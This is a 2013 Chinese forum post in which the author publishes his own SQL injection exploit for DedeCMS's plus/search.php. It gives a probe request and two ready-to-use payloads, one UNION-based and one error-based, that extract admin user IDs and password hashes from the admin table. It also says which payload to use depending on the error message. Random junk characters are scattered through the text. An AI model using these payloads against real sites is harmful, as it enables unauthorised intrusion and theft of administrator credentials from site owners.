转载不加作者名的没JJ
/ {+ ~1 z5 y% Z8 e, P* M' c/ _2 P: Y5 n/ k$ X9 G+ e) u$ u
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
" h/ S5 {' F. Q, b) o% ?* f/ l: ~) b1 `0 M
既然已经发出来了，我就把我自己搞的exp发下吧。。唉。: q, P3 K0 Z) C# z1 ?, u2 Q
7 G8 j4 g" ?4 h* Z$ y1 A: k
我一般是这样测试的：- C F( w; @( x0 V0 i& l/ o: r
7 M0 p, K+ S G8 P提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a V+ { |0 r2 n8 i0 O6 C. y
* i& Q3 r5 a3 G/ X+ n6 [转载不加作者名的没JJ9 Z' z- W6 |; d" k/ Q, J7 V5 y) {
2 O* b. z" ~9 k. {" d$ q
作者：鬼哥! n7 V! m; x# m
' H. F* K* M& a4 _1 D0 k
$ I+ p+ c8 G$ E) O# U+ S' }! Z% A1 T1 u$ ?# F
看结果如果提示1 C) D. z; f* I( u' B: q
* U: J5 F) U3 {! r$ P1 p" m. @1 g) H* N+ TSafe Alert: Request Error step 2 !
2 R' K: c \! z& r3 q$ r! F# ^) p# _+ p! u' c u
那么直接用下面的exp
! V) q" a! U8 U! U2 f: }; ^+ N2 v& h: V5 V8 ~3 l
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a( p/ f# P( E9 I! o+ |$ G
. _& w$ w0 Y# e4 c, D% |
# ^8 D! H M: m$ `
看结果如果提示9 o* Q8 X- \* G& M) K$ A3 i& t
7 c) K: u- Z% r& C
Safe Alert: Request Error step 1 !' J' C9 e$ n( w: i$ h8 H
: _( E# e0 D1 d& g3 M3 f
那么直接用下面的exp
6 Z+ e' I' u; e! F/ h+ }
/ S" V& n4 z8 B( X8 dxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a5 M# d3 `9 A, u+ a( T8 A/ H& i
# N, [4 W- _ B" U, e! p0 n
% ^' D# d+ D5 U
如果正常显示证明漏洞不存在了。2 N* h8 a2 a9 n" n; u1 |
" W# Q' @0 p/ [转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对